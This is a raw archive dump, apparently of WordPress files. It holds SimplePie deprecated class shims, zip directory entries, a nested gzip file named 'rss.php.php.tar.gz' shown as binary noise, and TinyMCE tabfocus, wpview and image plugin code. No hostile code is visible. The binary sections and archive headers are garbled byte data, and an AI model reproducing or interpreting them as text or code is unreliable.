 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Caption;

class_exists('SimplePie\Caption');

// @trigger_error(sprintf('Using the "SimplePie_Caption" class is deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Caption" instead */
    class SimplePie_Caption extends Caption
    {
    }
}
PK�bd[�P�pr	r	SimplePie/Enclosure.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Enclosure;

class_exists('SimplePie\Enclosure');

// @trigger_error(sprintf('Using the "SimplePie_Enclosure" class is deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Enclosure" instead */
    class SimplePie_Enclosure extends Enclosure
    {
    }
}
PK�bd[���O	O	SimplePie/Misc.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Misc;

class_exists('SimplePie\Misc');

// @trigger_error(sprintf('Using the "SimplePie_Misc" class is deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Misc" instead */
    class SimplePie_Misc extends Misc
    {
    }
}
PK�bd[��d,]	]	SimplePie/Credit.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\Credit;

class_exists('SimplePie\Credit');

// @trigger_error(sprintf('Using the "SimplePie_Credit" class is deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\Credit" instead */
    class SimplePie_Credit extends Credit
    {
    }
}
PK�bd[S�O	O	SimplePie/File.phpnu�[���<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

use SimplePie\File;

class_exists('SimplePie\File');

// @trigger_error(sprintf('Using the "SimplePie_File" class is deprecated since SimplePie 1.7.0, use "SimplePie\File" instead.'), \E_USER_DEPRECATED);

if (\false) {
    /** @deprecated since SimplePie 1.7.0, use "SimplePie\File" instead */
    class SimplePie_File extends File
    {
    }
}
PK�bd[��T,,	error_lognu�[���PK�bd[��ICIC
eSimplePie.phpnu�[���PK�bd[~0=]]"�SSimplePie/Decode/HTML/Entities.phpnu�[���PK�bd[Z����	�	Q�SimplePie/Restriction.phpnu�[���PK�bd[�$�l���SimplePie/Core.phpnu�[���PK�bd[+���g	g	�SimplePie/Net/IPv6.phpnu�[���PK�bd[���H	H	��SimplePie/IRI.phpnu�[���PK�bd[r#�k	k	N�SimplePie/Registry.phpnu�[���PK�bd[!Up�]	]	��SimplePie/Rating.phpnu�[���PK�bd[����{	{	��SimplePie/HTTP/Parser.phpnu�[���PK�bd[���a]	]	d�SimplePie/Parser.phpnu�[���PK�bd[��Ӑk	k	�SimplePie/gzdecode.phpnu�[���PK�bd[o��s	s	�SimplePie/Parse/Date.phpnu�[���PK�bd[��l�	�	$qSimplePie/XML/Declaration/Parser.phpnu�[���PK�bd[L��]	]	�SimplePie/Source.phpnu�[���PK�bd[4[�k	k	#%SimplePie/Sanitize.phpnu�[���PK�bd[���z	z	�.SimplePie/Cache/MySQL.phpnu�[���PK�bd[���vv�8SimplePie/Cache/Redis.phpnu�[���PK�bd[��`Cn	n	V;SimplePie/Cache/DB.phpnu�[���PK�bd[��h�	�	
ESimplePie/Cache/Memcached.phpnu�[���PK�bd[N�h�	�	�NSimplePie/Cache/Memcache.phpnu�[���PK�bd[^�A{	{	�XSimplePie/Cache/Base.phpnu�[���PK�bd[y��s	s	�bSimplePie/Cache/File.phpnu�[���PK�bd[���V	V	FlSimplePie/Cache.phpnu�[���PK�bd[�lv�	�	�uSimplePie/Exception.phpnu�[���PK�bd[K��
k	k	�SimplePie/Category.phpnu�[���PK�bd[��uw�	�	"h�SimplePie/Content/Type/Sniffer.phpnu�[���PK�bd[R���r	r	l�SimplePie/Copyright.phpnu�[���PK�bd[$��Fd	d	%�SimplePie/Locator.phpnu�[���PK�bd[!70tO	O	ΦSimplePie/Item.phpnu�[���PK�bd[��(�]	]	_�SimplePie/Author.phpnu�[���PK�bd[�ْd	d	�SimplePie/Caption.phpnu�[���PK�bd[�P�pr	r	��SimplePie/Enclosure.phpnu�[���PK�bd[���O	O	b�SimplePie/Misc.phpnu�[���PK�bd[��d,]	]	��SimplePie/Credit.phpnu�[���PK�bd[S�O	O	��SimplePie/File.phpnu�[���PK$$&%�14338/rss.php.php.tar.gz000064400000003177151024420100010535 0ustar00��X_o�6�)8é��4i��V�yl]�bA��mq�D���A�}�}�}��%Kv�ڭ�C��w��G&R�δ07���0�2&�b�S����䳙����v9T2\d}�q
3��*�6Cm� ��g[�����[�a�zu��l�h����h��+�?8����m���+7�k�_�
��[s���d��\���F��i��BC05c6�C���@`�p ӏ��\�ߕ�A&�6K�3�1[!�J�!�+0�%���`�W�k�0�5_�6�V�in�a��`���6׀nɄ3��)�X�Z�Z��6[!oD�@5&�Hg؜�i`%(����F�@�YӦ�n�
9c&S���0��e���H�5�Ko&D���Իb�+x�sw`+��t�H`u.@	j�y�Pް�͸����2�,恈TZ�&u�TY	v��Bk0��0�M��x�����Ǭ�ICz���_���0ް	0��Y��!�����qȠ3g�R`p ��°P-R�T�&���K�'WA��Q���ZP�FF��'��f�;e�
�͒d�N3<e3��%xm��'&�w�l�5��6�|�� ���ct�,#l�E���HXJ�W�����A��:��$v:�'sa��>4u!�<z�d�w5N��c�S+���.e��"H!�֘O�H˴��i�d	�$WÔ�ҥ�K >�2e1$�~*�d�a�uc���z��u��K�Fs�@3qg�8���^��m�*��'�8����C
*�-�c;A���ӻ$օG$��`eH*p�e'��ō��X�P>4�k���;"(Q7�6�mTr��7��F�EZ���-�y�[wx7�Ik%�b�ƒKn}FN�]#�ªk�C�l��B�z�Bi ��o�
UhZ0Ռ���{�Us	E�׊�d0;�C�
od�n��?ƭ���i��Ś,�B�D}�hMv�в�j�� ��hD�P}��}
�^o�P�1J�Ge8����!n=+�PR0�ț<�Tۓ�|Ct5��k>u{.�V�QM��;�ѭ�[a�/���De/*�D݀��`\=G�z�zD�](Bh)�5�6��t	ii��o��jk��Co�FU�ku\)���^
�R'*bQ���Y���J��p!�odqu��>��|����:r�FJ%�m�u~�P�3���/�o��89�'"���F`&�.RǮrf(6AGt[A�у��S��m�]�`�]>�D����"�C�S�S���OУ�>q9��bP1VI�ѩ��c(�|jP�J��Q=e+��S���^E�mؾ66�$kA鲵6�K��\�W�SI첱|��V�Z�r�
�h����M���:q�K*ƴ(t��F�S<K�ϛk:O?JJ���wy�.��O���b�Ij>����Q�.��̓s�<\rh*�	�����E�I��<�U$�Yݖ�g<|j�1��{	�?����!&�,��1m�|��[�֊�9���i';03�x�l�e�X=����ɿ~v�����ۏ��qh��`xx�}�r�0�I�o>�}�\ԁ��s6�xZ<���&�y[ߛ�	�,�a���2�|�=�,]v��4|[�ַ�խ�os14338/plugins.zip000064400002257252151024420100007437 0ustar00PK�\d[�^�[��tabfocus/plugin.jsnu�[���(function () {
var tabfocus = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var global$1 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');

    var global$2 = tinymce.util.Tools.resolve('tinymce.EditorManager');

    var global$3 = tinymce.util.Tools.resolve('tinymce.Env');

    var global$4 = tinymce.util.Tools.resolve('tinymce.util.Delay');

    var global$5 = tinymce.util.Tools.resolve('tinymce.util.Tools');

    var global$6 = tinymce.util.Tools.resolve('tinymce.util.VK');

    var getTabFocusElements = function (editor) {
      return editor.getParam('tabfocus_elements', ':prev,:next');
    };
    var getTabFocus = function (editor) {
      return editor.getParam('tab_focus', getTabFocusElements(editor));
    };
    var Settings = { getTabFocus: getTabFocus };

    var DOM = global$1.DOM;
    var tabCancel = function (e) {
      if (e.keyCode === global$6.TAB && !e.ctrlKey && !e.altKey && !e.metaKey) {
        e.preventDefault();
      }
    };
    var setup = function (editor) {
      function tabHandler(e) {
        var x, el, v, i;
        if (e.keyCode !== global$6.TAB || e.ctrlKey || e.altKey || e.metaKey || e.isDefaultPrevented()) {
          return;
        }
        function find(direction) {
          el = DOM.select(':input:enabled,*[tabindex]:not(iframe)');
          function canSelectRecursive(e) {
            return e.nodeName === 'BODY' || e.type !== 'hidden' && e.style.display !== 'none' && e.style.visibility !== 'hidden' && canSelectRecursive(e.parentNode);
          }
          function canSelect(el) {
            return /INPUT|TEXTAREA|BUTTON/.test(el.tagName) && global$2.get(e.id) && el.tabIndex !== -1 && canSelectRecursive(el);
          }
          global$5.each(el, function (e, i) {
            if (e.id === editor.id) {
              x = i;
              return false;
            }
          });
          if (direction > 0) {
            for (i = x + 1; i < el.length; i++) {
              if (canSelect(el[i])) {
                return el[i];
              }
            }
          } else {
            for (i = x - 1; i >= 0; i--) {
              if (canSelect(el[i])) {
                return el[i];
              }
            }
          }
          return null;
        }
        v = global$5.explode(Settings.getTabFocus(editor));
        if (v.length === 1) {
          v[1] = v[0];
          v[0] = ':prev';
        }
        if (e.shiftKey) {
          if (v[0] === ':prev') {
            el = find(-1);
          } else {
            el = DOM.get(v[0]);
          }
        } else {
          if (v[1] === ':next') {
            el = find(1);
          } else {
            el = DOM.get(v[1]);
          }
        }
        if (el) {
          var focusEditor = global$2.get(el.id || el.name);
          if (el.id && focusEditor) {
            focusEditor.focus();
          } else {
            global$4.setTimeout(function () {
              if (!global$3.webkit) {
                domGlobals.window.focus();
              }
              el.focus();
            }, 10);
          }
          e.preventDefault();
        }
      }
      editor.on('init', function () {
        if (editor.inline) {
          DOM.setAttrib(editor.getBody(), 'tabIndex', null);
        }
        editor.on('keyup', tabCancel);
        if (global$3.gecko) {
          editor.on('keypress keydown', tabHandler);
        } else {
          editor.on('keydown', tabHandler);
        }
      });
    };
    var Keyboard = { setup: setup };

    global.add('tabfocus', function (editor) {
      Keyboard.setup(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
PK�\d[�C	�NNtabfocus/plugin.min.jsnu�[���!function(c){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),t=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),s=tinymce.util.Tools.resolve("tinymce.EditorManager"),a=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),f=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=tinymce.util.Tools.resolve("tinymce.util.VK"),m=function(e){return e.getParam("tab_focus",e.getParam("tabfocus_elements",":prev,:next"))},v=t.DOM,n=function(e){e.keyCode!==d.TAB||e.ctrlKey||e.altKey||e.metaKey||e.preventDefault()},i=function(r){function e(n){var i,o,e,l;if(!(n.keyCode!==d.TAB||n.ctrlKey||n.altKey||n.metaKey||n.isDefaultPrevented())&&(1===(e=f.explode(m(r))).length&&(e[1]=e[0],e[0]=":prev"),o=n.shiftKey?":prev"===e[0]?u(-1):v.get(e[0]):":next"===e[1]?u(1):v.get(e[1]))){var t=s.get(o.id||o.name);o.id&&t?t.focus():y.setTimeout(function(){a.webkit||c.window.focus(),o.focus()},10),n.preventDefault()}function u(e){function t(t){return/INPUT|TEXTAREA|BUTTON/.test(t.tagName)&&s.get(n.id)&&-1!==t.tabIndex&&function e(t){return"BODY"===t.nodeName||"hidden"!==t.type&&"none"!==t.style.display&&"hidden"!==t.style.visibility&&e(t.parentNode)}(t)}if(o=v.select(":input:enabled,*[tabindex]:not(iframe)"),f.each(o,function(e,t){if(e.id===r.id)return i=t,!1}),0<e){for(l=i+1;l<o.length;l++)if(t(o[l]))return o[l]}else for(l=i-1;0<=l;l--)if(t(o[l]))return o[l];return null}}r.on("init",function(){r.inline&&v.setAttrib(r.getBody(),"tabIndex",null),r.on("keyup",n),a.gecko?r.on("keypress keydown",e):r.on("keydown",e)})};e.add("tabfocus",function(e){i(e)})}(window);PK�\d[qMY:��wpview/plugin.jsnu�[���/**
 * WordPress View plugin.
 */
( function( tinymce ) {
	tinymce.PluginManager.add( 'wpview', function( editor ) {
		function noop () {}

		// Set this here as wp-tinymce.js may be loaded too early.
		var wp = window.wp;

		if ( ! wp || ! wp.mce || ! wp.mce.views ) {
			return {
				getView: noop
			};
		}

		// Check if a node is a view or not.
		function isView( node ) {
			return editor.dom.hasClass( node, 'wpview' );
		}

		// Replace view tags with their text.
		function resetViews( content ) {
			function callback( match, $1 ) {
				return '<p>' + window.decodeURIComponent( $1 ) + '</p>';
			}

			if ( ! content || content.indexOf( ' data-wpview-' ) === -1 ) {
				return content;
			}

			return content
				.replace( /<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g, callback )
				.replace( /<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g, callback );
		}

		editor.on( 'init', function() {
			var MutationObserver = window.MutationObserver || window.WebKitMutationObserver;

			if ( MutationObserver ) {
				new MutationObserver( function() {
					editor.fire( 'wp-body-class-change' );
				} )
				.observe( editor.getBody(), {
					attributes: true,
					attributeFilter: ['class']
				} );
			}

			// Pass on body class name changes from the editor to the wpView iframes.
			editor.on( 'wp-body-class-change', function() {
				var className = editor.getBody().className;

				editor.$( 'iframe[class="wpview-sandbox"]' ).each( function( i, iframe ) {
					// Make sure it is a local iframe.
					// jshint scripturl: true
					if ( ! iframe.src || iframe.src === 'javascript:""' ) {
						try {
							iframe.contentWindow.document.body.className = className;
						} catch( er ) {}
					}
				});
			} );
		});

		// Scan new content for matching view patterns and replace them with markers.
		editor.on( 'beforesetcontent', function( event ) {
			var node;

			if ( ! event.selection ) {
				wp.mce.views.unbind();
			}

			if ( ! event.content ) {
				return;
			}

			if ( ! event.load ) {
				node = editor.selection.getNode();

				if ( node && node !== editor.getBody() && /^\s*https?:\/\/\S+\s*$/i.test( event.content ) ) {
					// When a url is pasted or inserted, only try to embed it when it is in an empty paragraph.
					node = editor.dom.getParent( node, 'p' );

					if ( node && /^[\s\uFEFF\u00A0]*$/.test( editor.$( node ).text() || '' ) ) {
						// Make sure there are no empty inline elements in the <p>.
						node.innerHTML = '';
					} else {
						return;
					}
				}
			}

			event.content = wp.mce.views.setMarkers( event.content, editor );
		} );

		// Replace any new markers nodes with views.
		editor.on( 'setcontent', function() {
			wp.mce.views.render();
		} );

		// Empty view nodes for easier processing.
		editor.on( 'preprocess hide', function( event ) {
			editor.$( 'div[data-wpview-text], p[data-wpview-marker]', event.node ).each( function( i, node ) {
				node.innerHTML = '.';
			} );
		}, true );

		// Replace views with their text.
		editor.on( 'postprocess', function( event ) {
			event.content = resetViews( event.content );
		} );

		// Prevent adding of undo levels when replacing wpview markers
		// or when there are changes only in the (non-editable) previews.
		editor.on( 'beforeaddundo', function( event ) {
			var lastContent;
			var newContent = event.level.content || ( event.level.fragments && event.level.fragments.join( '' ) );

			if ( ! event.lastLevel ) {
				lastContent = editor.startContent;
			} else {
				lastContent = event.lastLevel.content || ( event.lastLevel.fragments && event.lastLevel.fragments.join( '' ) );
			}

			if (
				! newContent ||
				! lastContent ||
				newContent.indexOf( ' data-wpview-' ) === -1 ||
				lastContent.indexOf( ' data-wpview-' ) === -1
			) {
				return;
			}

			if ( resetViews( lastContent ) === resetViews( newContent ) ) {
				event.preventDefault();
			}
		} );

		// Make sure views are copied as their text.
		editor.on( 'drop objectselected', function( event ) {
			if ( isView( event.targetClone ) ) {
				event.targetClone = editor.getDoc().createTextNode(
					window.decodeURIComponent( editor.dom.getAttrib( event.targetClone, 'data-wpview-text' ) )
				);
			}
		} );

		// Clean up URLs for easier processing.
		editor.on( 'pastepreprocess', function( event ) {
			var content = event.content;

			if ( content ) {
				content = tinymce.trim( content.replace( /<[^>]+>/g, '' ) );

				if ( /^https?:\/\/\S+$/i.test( content ) ) {
					event.content = content;
				}
			}
		} );

		// Show the view type in the element path.
		editor.on( 'resolvename', function( event ) {
			if ( isView( event.target ) ) {
				event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'object';
			}
		} );

		// See `media` plugin.
		editor.on( 'click keyup', function() {
			var node = editor.selection.getNode();

			if ( isView( node ) ) {
				if ( editor.dom.getAttrib( node, 'data-mce-selected' ) ) {
					node.setAttribute( 'data-mce-selected', '2' );
				}
			}
		} );

		editor.addButton( 'wp_view_edit', {
			tooltip: 'Edit|button', // '|button' is not displayed, only used for context.
			icon: 'dashicon dashicons-edit',
			onclick: function() {
				var node = editor.selection.getNode();

				if ( isView( node ) ) {
					wp.mce.views.edit( editor, node );
				}
			}
		} );

		editor.addButton( 'wp_view_remove', {
			tooltip: 'Remove',
			icon: 'dashicon dashicons-no',
			onclick: function() {
				editor.fire( 'cut' );
			}
		} );

		editor.once( 'preinit', function() {
			var toolbar;

			if ( editor.wp && editor.wp._createToolbar ) {
				toolbar = editor.wp._createToolbar( [
					'wp_view_edit',
					'wp_view_remove'
				] );

				editor.on( 'wptoolbar', function( event ) {
					if ( ! event.collapsed && isView( event.element ) ) {
						event.toolbar = toolbar;
					}
				} );
			}
		} );

		editor.wp = editor.wp || {};
		editor.wp.getView = noop;
		editor.wp.setViewCursor = noop;

		return {
			getView: noop
		};
	} );
} )( window.tinymce );
PK�\d[]l��VVwpview/plugin.min.jsnu�[���!function(c){c.PluginManager.add("wpview",function(o){function e(){}var n=window.wp;return n&&n.mce&&n.mce.views&&(o.on("init",function(){var e=window.MutationObserver||window.WebKitMutationObserver;e&&new e(function(){o.fire("wp-body-class-change")}).observe(o.getBody(),{attributes:!0,attributeFilter:["class"]}),o.on("wp-body-class-change",function(){var n=o.getBody().className;o.$('iframe[class="wpview-sandbox"]').each(function(e,t){if(!t.src||'javascript:""'===t.src)try{t.contentWindow.document.body.className=n}catch(e){}})})}),o.on("beforesetcontent",function(e){var t;if(e.selection||n.mce.views.unbind(),e.content){if(!e.load&&(t=o.selection.getNode())&&t!==o.getBody()&&/^\s*https?:\/\/\S+\s*$/i.test(e.content)){if(!(t=o.dom.getParent(t,"p"))||!/^[\s\uFEFF\u00A0]*$/.test(o.$(t).text()||""))return;t.innerHTML=""}e.content=n.mce.views.setMarkers(e.content,o)}}),o.on("setcontent",function(){n.mce.views.render()}),o.on("preprocess hide",function(e){o.$("div[data-wpview-text], p[data-wpview-marker]",e.node).each(function(e,t){t.innerHTML="."})},!0),o.on("postprocess",function(e){e.content=a(e.content)}),o.on("beforeaddundo",function(e){var t=e.level.content||e.level.fragments&&e.level.fragments.join(""),n=e.lastLevel?e.lastLevel.content||e.lastLevel.fragments&&e.lastLevel.fragments.join(""):o.startContent;t&&n&&-1!==t.indexOf(" data-wpview-")&&-1!==n.indexOf(" data-wpview-")&&a(n)===a(t)&&e.preventDefault()}),o.on("drop objectselected",function(e){i(e.targetClone)&&(e.targetClone=o.getDoc().createTextNode(window.decodeURIComponent(o.dom.getAttrib(e.targetClone,"data-wpview-text"))))}),o.on("pastepreprocess",function(e){var t=e.content;t&&(t=c.trim(t.replace(/<[^>]+>/g,"")),/^https?:\/\/\S+$/i.test(t))&&(e.content=t)}),o.on("resolvename",function(e){i(e.target)&&(e.name=o.dom.getAttrib(e.target,"data-wpview-type")||"object")}),o.on("click keyup",function(){var e=o.selection.getNode();i(e)&&o.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),o.addButton("wp_view_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e=o.selection.getNode();i(e)&&n.mce.views.edit(o,e)}}),o.addButton("wp_view_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){o.fire("cut")}}),o.once("preinit",function(){var t;o.wp&&o.wp._createToolbar&&(t=o.wp._createToolbar(["wp_view_edit","wp_view_remove"]),o.on("wptoolbar",function(e){!e.collapsed&&i(e.element)&&(e.toolbar=t)}))}),o.wp=o.wp||{},o.wp.getView=e,o.wp.setViewCursor=e),{getView:e};function i(e){return o.dom.hasClass(e,"wpview")}function a(e){function t(e,t){return"<p>"+window.decodeURIComponent(t)+"</p>"}return e&&-1!==e.indexOf(" data-wpview-")?e.replace(/<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g,t).replace(/<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g,t):e}})}(window.tinymce);PK�\d[[��#V�V�image/plugin.jsnu�[���(function () {
var image = (function (domGlobals) {
    'use strict';

    var global = tinymce.util.Tools.resolve('tinymce.PluginManager');

    var hasDimensions = function (editor) {
      return editor.settings.image_dimensions === false ? false : true;
    };
    var hasAdvTab = function (editor) {
      return editor.settings.image_advtab === true ? true : false;
    };
    var getPrependUrl = function (editor) {
      return editor.getParam('image_prepend_url', '');
    };
    var getClassList = function (editor) {
      return editor.getParam('image_class_list');
    };
    var hasDescription = function (editor) {
      return editor.settings.image_description === false ? false : true;
    };
    var hasImageTitle = function (editor) {
      return editor.settings.image_title === true ? true : false;
    };
